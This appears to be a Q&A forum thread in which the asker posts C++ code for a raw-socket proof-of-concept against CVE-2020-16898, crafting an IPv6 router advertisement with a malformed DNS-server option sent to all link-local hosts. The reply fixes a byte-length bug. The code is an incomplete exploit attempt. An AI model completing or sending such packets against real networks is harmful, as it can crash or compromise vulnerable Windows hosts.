Sockets - sendto() truncating ICMPv6 options

179 Views Asked by At

Out of curiosity, I was trying to write a simple proof-of-concept exploit to CVE-2020-16898. I used the RFCs (RFC 4861 and RFC 6106) to get the correct format, and I've managed to send a crafted ICMPv6 router advertisement packet using the code below. However, viewing the packet in Wireshark revealed that the packet option 25 (the payload) was missing from the packet that was actually sent.

I suspect that it has something to do with the packet length - I tried converting it to Big Endian (using both htons() and manually inserting a hex number), but in these instances, sendto() fails with the "Message too long" error. The payload should be 56 bytes long, which should be well below the limits.

I'm including my code below. I'll appreciate any help.

#include <iostream>
#include <cstdlib>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <arpa/inet.h>

struct ipHeader{
    uint8_t priority:4, version:4;
    uint8_t flow[3];
    uint16_t length;
    uint8_t nextHeader;
    uint8_t hopLimit;

    // 128-bit IPv6 addresses
    uint16_t srcAddress[8];
    uint16_t dstAddress[8];
};

struct payload{
    uint8_t type;
    uint8_t code;
    uint16_t checksum;
    uint32_t curHopLimit:8, M:1,O:1, reserved:6, lifetime:16;
    uint16_t routerLifetime;
    uint32_t reachableTime;
    uint32_t retrans;
    // Options, probably should be its own struct
    uint8_t optionType;
    uint8_t optionLength;
    uint16_t optionReserved;
    uint32_t optionLifetime;
    uint32_t dnsAddress[4]; // 128-bit IPv6 address
    uint64_t randomGarbage; // This is where magic happens
};

int main()
{
    uint8_t *packet;
    packet = (uint8_t *) malloc(sizeof(ipHeader) + sizeof(payload));

    ipHeader *ip;
    payload *icmp;

    // Place IP header + payload directly to the packet buffer
    ip = (ipHeader *) packet;
    // Offset of payload in packet buffer
    icmp = (payload *)(packet+sizeof(ipHeader));

    // IPv6 packet header (arcane magic stuff)
    ip->version = 0b0110;
    ip->priority = 0;
    (ip->flow)[0] = 0;
    (ip->flow)[1] = 0;
    (ip->flow)[2] = 0;
    ip->length = htons(sizeof(payload)); // Should be 0x3800 (Big Endian)
    ip->nextHeader = 58;
    ip->hopLimit = UINT8_MAX; //Most hops possible to prevent the packet from being dropped

    std::cout << std::hex << ip->length << std::dec << std::endl;

    // ICMPv6 router advertisement packet (more arcane magic stuff)
    icmp->type = 134; // Router advertisement
    icmp->code = 0;
    icmp->checksum = 0; // will set/calculate later
    icmp->curHopLimit = 64;
    icmp->M = 0;
    icmp->O = 0;
    icmp->reserved = 0;
    icmp->lifetime = 0;
    icmp->reachableTime = 0;
    icmp->retrans = 0;
    icmp->optionType = 25;
    icmp->optionLength = htonl(3);
    icmp->optionLifetime = UINT32_MAX;
    icmp->randomGarbage = UINT64_MAX; // not very random, but w/ever
    icmp->checksum = 0x2e55;

    sockaddr_in6 remote{};
    remote.sin6_family = AF_INET6;
    remote.sin6_port = 0;
    remote.sin6_flowinfo = 0;
    remote.sin6_scope_id = 0;

    //Set addresses
    inet_pton(AF_INET6, "fe80::eab1:fcff:fedb:74", &(ip->srcAddress));
    inet_pton(AF_INET6, "ff02::1", &remote.sin6_addr);
    inet_pton(AF_INET6, "ff02::1", &(ip->dstAddress));
    inet_pton(AF_INET6, "2001:4860:4860::8844", &(icmp->dnsAddress)); // Google DNS, just to use a valid setting

    int sock, optVal;
    sock = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
    if(sock == -1){
        perror("Failed to open socket");
        exit(-1);
    }

    int status;
    status = setsockopt(sock, IPPROTO_IPV6, IPV6_HDRINCL, &optVal, sizeof(int));
    if(status != 0){
        std::cout << "Socket options returned status " << status << std::endl;
        perror("Failed to set socket options");
        exit(-2);
    }

    std::cout << "Sockets ready, sending payload..." << std::endl;
    std::cout << "Payload size: " << sizeof(payload) << std::endl;

    status = sendto(sock, packet, ip->length, 0, (sockaddr *) &remote, sizeof(remote));
    if(status != ip->length){
        std::cout << "sendto() returned status" << status << "(Errno: " << errno << ")" << std::endl;
        perror("Failed to send packet");
        exit(-3);
    }

    return 0;
}
1

There are 1 best solutions below

3
On

You have:

    uint8_t optionLength;

and:

icmp->optionLength = htonl(3);

This doesn't make sense.

The optionLength field is just one byte. There is no way a single byte field can be big endian or little endian. It's just one byte.

Since it's not a long, assigning the result of htonl to that field is a mistake. Just use = 3.